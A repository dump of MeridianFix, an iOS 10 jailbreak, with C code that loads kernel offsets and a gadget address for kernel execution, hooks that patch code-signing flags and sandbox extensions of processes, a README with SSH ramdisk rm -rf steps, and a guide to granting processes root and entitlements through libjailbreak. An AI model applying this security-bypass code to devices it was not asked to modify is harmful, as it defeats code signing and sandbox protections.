56 | }
57 |
58 | if (CFGetTypeID(offsets) != CFDictionaryGetTypeID()) {
59 | DEBUGLOG("/meridian/offsets.plist did not convert to a dictionary");
60 | CFRelease(offsets);
61 | return;
62 | }
63 |
64 | // TODO: CFStringGetCStringPtr is not to be relied upon like this... bad things will happen if this is not fixed
65 | kernel_base = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelBase")), kCFStringEncodingUTF8), NULL, 16);
66 | kernel_slide = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelSlide")), kCFStringEncodingUTF8), NULL, 16);
67 | DEBUGLOG("kern base: %llx, slide: %llx", kernel_base, kernel_slide);
68 |
69 | offset_kernel_task = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelTask")), kCFStringEncodingUTF8), NULL, 16) + kernel_slide;
70 | DEBUGLOG("offset_kernel_task: %llx", offset_kernel_task);
71 | offset_zonemap = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("ZoneMap")), kCFStringEncodingUTF8), NULL, 16) + kernel_slide;
72 | DEBUGLOG("offset_zonemap: %llx", offset_zonemap);
73 |
74 | offset_add_ret_gadget = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("AddGadgetRet")), kCFStringEncodingUTF8), NULL, 16);
75 | DEBUGLOG("offset_add_ret_gadget: %llx", offset_add_ret_gadget);
76 | offset_osboolean_true = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("OSBooleanTrue")), kCFStringEncodingUTF8), NULL, 16);
77 | DEBUGLOG("offset_osboolean_true: %llx", offset_osboolean_true);
78 | offset_osboolean_false = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("OSBooleanFalse")), kCFStringEncodingUTF8), NULL, 16);
79 | DEBUGLOG("offset_osboolean_false: %llx", offset_osboolean_false);
80 | offset_osunserializexml = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("OSUnserializeXML")), kCFStringEncodingUTF8), NULL, 16);
81 | DEBUGLOG("offset_osunserializexml: %llx", offset_osunserializexml);
82 | offset_smalloc = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("Smalloc")), kCFStringEncodingUTF8), NULL, 16);
83 | DEBUGLOG("offset_smalloc: %llx", offset_smalloc);
84 |
85 | CFRelease(offsets);
86 | found_offsets = true;
87 |
88 | if (found_offsets && init_kexecute()) {
89 | DEBUGLOG("Initialized successfully!");
90 | initialized = true;
91 | } else {
92 | DEBUGLOG("Failed to initialize kexecute :(");
93 | }
94 | }
95 |
96 | __attribute__((destructor))
97 | void dtor() {
98 | DEBUGLOG("Terminating kexecute");
99 | kern_utils_cleanup();
100 | term_kexecute();
101 | }
102 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/sandbox.h:
--------------------------------------------------------------------------------
1 |
2 | // see https://stek29.rocks/2018/01/26/sandbox.html
3 |
4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc);
5 | uint64_t extension_create_file(const char* path, uint64_t nextptr);
6 | int has_file_extension(uint64_t sb, const char* path);
7 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/unrestrict.c:
--------------------------------------------------------------------------------
1 | #import
2 | #import
3 | #import
4 | #import
5 | #import
6 | #import "kern_utils.h"
7 | #import "common.h"
8 |
9 | FILE *log_file = NULL;
10 |
11 | #define CS_OPS_STATUS 0 /* return status */
12 | int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize);
13 |
14 | bool MSunrestrict0(mach_port_t task) {
15 | if (!initialized) return true;
16 |
17 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
18 | bzero(pathbuf, sizeof(pathbuf));
19 |
20 | pid_t pid;
21 | if ( (pid_for_task(task, &pid) != 0) || pid <= 1) {
22 | return true;
23 | }
24 | proc_pidpath(pid, pathbuf, sizeof(pathbuf));
25 |
26 | if (strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0) {
27 | return true;
28 | }
29 |
30 | DEBUGLOG("%s: (%d) fixing up", pathbuf, pid);
31 | fixup(pid);
32 |
33 | return true;
34 | }
35 |
36 | bool MSrevalidate0(mach_port_t task) {
37 | if (!initialized) return true;
38 |
39 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
40 | bzero(pathbuf, sizeof(pathbuf));
41 |
42 | pid_t pid;
43 | if ( (pid_for_task(task, &pid) != 0) || pid <= 1) {
44 | return true;
45 | }
46 | proc_pidpath(pid, pathbuf, sizeof(pathbuf));
47 |
48 | if (strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0) {
49 | return true;
50 | }
51 |
52 | uint32_t status;
53 | if (csops(pid, CS_OPS_STATUS, &status, sizeof(status)) < 0)
54 | return true;
55 |
56 | if ((status & CS_VALID) == 0) {
57 | uint64_t proc = proc_find(pid);
58 | if (proc == 0) {
59 | DEBUGLOG("failed to find proc for pid %d!", pid);
60 | return true;
61 | }
62 |
63 | fixup_cs_valid(proc);
64 | }
65 |
66 | return true;
67 | }
68 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MeridianFix
2 | Meridian is an iOS 10.x Jailbreak for all 64-bit devices.
3 |
4 | MeridianFix is a compilation of builds of Meridian with an updated bootstrap.
5 |
6 | - Uses Cydia Substrate instead of Substitute for tweak injection and compatibility (substrate build only)
7 | - Installs Zebra v1.1.36 instead of Cydia on initial installation
8 | - Fixes bootstrap issues with vanilla Meridian (mostly)
9 |
10 | App version (ipa): https://github.com/LukeZGD/MeridianFix/releases
11 |
12 | Web version (TNS): https://lukezgd.github.io/MeridianFix
13 |
14 | ## Notes
15 | - For iOS 10.3.2-10.3.3, use the **substrate** build of the web or app version.
16 | - For iOS 10.0-10.3.1, use the **substitute** build of the web or app version.
17 | - The substrate build does not work properly below 10.3.2, so substitute build is provided for these versions.
18 | - If your device is not an A10(X) device (iPhone 7, 7 Plus, or A10X iPad Pros), it is recommended to **not** use MeridianFix.
19 | - Use [TNS Sockport](https://lukezgd.github.io/tns-sockport) instead.
20 |
21 | ## Known Issues
22 | - Tweaks like FlipControlCenter and potentially other tweaks not working
23 | - Compatibility may vary between substitute and substrate builds, substrate should have better compatibility
24 | - No fix/workaround at this time
25 |
26 | ## For previously jailbroken devices
27 | If your device was previously jailbroken with Meridian (or other jailbreak tools) and would like to switch to MeridianFix, you may try to do the following steps:
28 |
29 | - Note: Replace `mount_apfs` with `mount_hfs` on iOS 10.0-10.2.1
30 | - WARNING: There is a chance for your device to bootloop after doing this procedure. Proceed at your own risk
31 | - A safer version of this is to remove the folders `/Applications/Cydia.app` and `/meridian` while jailbroken, using Filza, SSH, or other jailbroken methods.
32 | - Even better to just dump blobs using [Legacy iOS Kit](https://github.com/LukeZGD/Legacy-iOS-Kit) and restore using [turdus merula](https://sep.lol) instead.
33 |
34 | 1. Run [Legacy iOS Kit](https://github.com/LukeZGD/Legacy-iOS-Kit), go to Other Utilities -> SSH Ramdisk
35 | 1. Follow instructions. Once in the SSH Ramdisk, select Connect to SSH
36 | 1. Run the following commands:
37 | ```
38 | /sbin/mount_apfs /dev/disk0s1s1 /mnt1
39 | rm -rf /mnt1/Applications/Cydia.app /mnt1/meridian
40 | sync
41 | /sbin/umount /mnt1
42 | sync
43 | exit
44 | ```
45 | 4. Select Reboot Device
46 | 5. Once device reboots, jailbreak with MeridianFix instead
47 |
48 | ## Building
49 |
50 | Clone repo, open Xcode project, target your device (or generic), and **make sure ldid is in $PATH**. /usr/local/bin, /usr/bin, /bin, ~/bin, whatever, make sure it's present. You'll also need tar, but I'd like to assume everyone has that already ;)
51 |
--------------------------------------------------------------------------------
/Working_with_libjailbreak.md:
--------------------------------------------------------------------------------
1 | ## Working with Meridian & libjailbreak
2 |
3 | If your binary to tweak requires setuid0, or other entitlements/empowerments, you may need to make calls to Jailbreakd, which handles entitling of processes. This can be done via libjailbreak, a library bundled by default with Meridian.
4 |
5 | ### What do these empowerments include?
6 | - Fixing setuid
7 | - Modifying csflags
8 | - Adding get-task-allow and skip-library-validation entitlements in the MACF label
9 | - Breaking out of some sandbox restrictions
10 | - Marking your binary as a 'platform binary'
11 |
12 | ### Usage
13 |
14 | libjailbreak implements 2 calls which can be used to achieve this:
15 | - `void jb_oneshot_fix_setuid_now(pid_t pid)` - for fixing setuid
16 | - `void jb_oneshot_entitle_now(pid_t pid)` - for entitling
17 |
18 | The pid (process ID) provided to each call can be your own, or can be that of another process.
19 | Protip: you can find your own PID using the `getpid()` function.
20 |
21 | **Note:** for the setuid call to work properly, your binary (or the process you're entitlting) must have the setuid flag set. You can set this with `chmod +s `.
22 |
23 | ### Examples
24 |
25 | ```c
26 | void call_libjailbreak() {
27 | // open a handle to libjailbreak
28 | void *handle = dlopen("/usr/lib/libjailbreak.dylib", RTLD_LAZY);
29 | if (!handle) {
30 | printf("Err: %s \n", dlerror());
31 | printf("unable to find libjailbreak.dylib \n");
32 | return;
33 | }
34 |
35 | typedef void (*libjb_call_ptr_t)(pid_t pid);
36 |
37 | // grab pointers to the functions we want to call
38 | libjb_call_ptr_t setuid_ptr = (libjb_call_ptr_t)dlsym(handle, "jb_oneshot_fix_setuid_now");
39 | libjb_call_ptr_t entitle_ptr = (libjb_call_ptr_t)dlsym(handle, "jb_oneshot_entitle_now");
40 |
41 | // check for any errors
42 | const char *dlsym_error = dlerror();
43 | if (dlsym_error) {
44 | printf("encountered dlsym error: %s \n", dlsym_error);
45 | return;
46 | }
47 |
48 | // call them!
49 | setuid_ptr(getpid());
50 | entitle_ptr(getpid());
51 | }
52 | ```
53 |
54 | **Note:** libjailbreak calls are blocking, and code execution will not return until jailbreakd has fully processed your requests.
55 |
56 | You can see a live action example of this in our cydo binary, here: https://github.com/MidnightTeam/cydo/blob/master/cydo.c#L6
57 |
58 |
--------------------------------------------------------------------------------